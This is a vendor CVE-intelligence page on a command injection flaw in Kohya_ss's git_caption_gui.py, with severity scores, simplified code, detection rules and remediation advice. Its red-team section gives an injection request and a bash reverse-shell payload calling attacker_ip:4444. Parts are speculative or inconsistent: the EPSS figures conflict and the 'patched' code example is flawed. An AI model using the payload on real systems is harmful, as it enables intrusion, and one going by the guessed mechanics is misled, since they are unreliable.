☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-32026

CVE-2024-32026 Command Injection in Kohya_ss
📅 PUBLISHED: 2024-04-16 14:45 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.03%
👁️
3.03% probability
75.7× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-32026 is a critical command injection vulnerability in Kohya_ss, a GUI for Kohya's Stable Diffusion trainers. The flaw resides in the git_caption_gui.py module, allowing an unauthenticated attacker to execute arbitrary commands on the server. With a CVSS score of 9.1, this vulnerability poses a severe risk to confidentiality, integrity, and availability. The vendor has released a fix in version 23.1.5, but no public proof-of-concept or exploit code has been identified at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the high severity demands immediate attention.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Kohya_ss is a Python-based application distributed via GitHub and PyPI. The vulnerability in git_caption_gui.py affects the core application logic, not a third-party dependency. However, users should verify the integrity of their installation and ensure they are using the patched version (23.1.5 or later). No malicious packages have been reported in the supply chain for this CVE.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.1 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The vulnerability allows remote code execution without authentication, making it extremely dangerous. An attacker can fully compromise the system.

Deep Dive & Mechanics

The vulnerability exists in the git_caption_gui.py file, which handles user input for Git caption operations. The application fails to sanitize user-supplied input before passing it to a system command, leading to command injection. Specifically, the run_git_caption function constructs a shell command using user-controlled parameters without proper escaping or validation.

The injection point is likely in a parameter that is concatenated into a Git command string. For example, if the application executes something like git log --format="%s" {user_input}, an attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

The fix in version 23.1.5 likely involves using parameterized commands or proper input sanitization to prevent injection.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example):

import subprocess

def run_git_caption(user_input):
    command = f"git log --format='%s' {user_input}"
    subprocess.call(command, shell=True)

Patched Code (simplified example):

import subprocess
import shlex

def run_git_caption(user_input):
    safe_input = shlex.quote(user_input)
    command = f"git log --format='%s' {safe_input}"
    subprocess.call(command, shell=False)

The patched version uses shlex.quote() to escape the input and disables shell=True to prevent shell interpretation.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a vulnerable Kohya_ss instance (version < 23.1.5) in a controlled environment.
  2. Identify the endpoint that processes Git caption input (likely a web form or API).
  3. Craft a payload to inject commands, e.g., ; id or | whoami.

Exploitation Steps:

  1. Send a POST request to the vulnerable endpoint with a malicious payload:
    POST /git_caption HTTP/1.1
    Host: target
    Content-Type: application/x-www-form-urlencoded
    
    input=test;id
    
  2. Observe the output of the id command in the response.
  3. Escalate to a reverse shell using a payload like:
    input=test;bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
    

Note: No public exploit code is available, so this is a theoretical approach.

Blue Team

Detection:

  • Monitor for unusual shell commands in process logs (e.g., git log with unexpected arguments).
  • Look for outbound connections on non-standard ports (e.g., 4444) from the Kohya_ss server.
  • Analyze web server logs for suspicious input containing shell metacharacters (;, |, &, `).

Mitigation:

  • Immediately upgrade to version 23.1.5 or later.
  • If patching is not possible, restrict network access to the Kohya_ss interface and implement a Web Application Firewall (WAF) to block malicious input.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections to known C2 servers on ports 4444, 8080, or 1337.
    • Unusual DNS queries for domains associated with command-and-control.
  • File IOCs:
    • Unexpected files in /tmp/ or /var/tmp/ (e.g., reverse shell scripts).
    • Modified system binaries (e.g., /bin/bash replaced with a backdoor).
  • Process IOCs:
    • Processes spawned by the web server user (e.g., www-data) running shell commands like id, whoami, or curl.
    • Multiple git processes with unusual arguments.
  • Log IOCs:
    • Web server logs containing ;, |, or && in the input parameter.
    • System logs showing subprocess calls with unexpected arguments.

Detection Engineering

YARA Rule

rule CVE_2024_32026_Kohya_ss_Command_Injection {
    meta:
        description = "Detects command injection attempts in Kohya_ss git_caption_gui.py"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-32026"
    strings:
        $injection1 = /input=[^&]*[;&|`$]/
        $injection2 = /git_caption.*[;&|`$]/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-32026 Kohya_ss Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts targeting Kohya_ss git_caption_gui.py
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'git_caption'
        cs-uri-query|re: 'input=.*[;&|`$]'
    condition: selection
falsepositives:
    - Legitimate use of special characters in input (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32026 Kohya_ss Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"git_caption"; http_uri; pcre:"/input=[^&]*[;&|`$]/"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Upgrade Kohya_ss to version 23.1.5 or later. This is the only complete fix.
  2. Workaround: If patching is delayed, restrict network access to the Kohya_ss web interface using a firewall or VPN. Only allow trusted IPs.
  3. WAF Rules: Deploy a Web Application Firewall with rules to block input containing shell metacharacters (;, |, &, `).
  4. Monitoring: Enable detailed logging for web requests and system commands. Alert on any suspicious activity.
  5. Least Privilege: Run the Kohya_ss service with minimal privileges to limit the impact of a successful exploit.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-32026/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.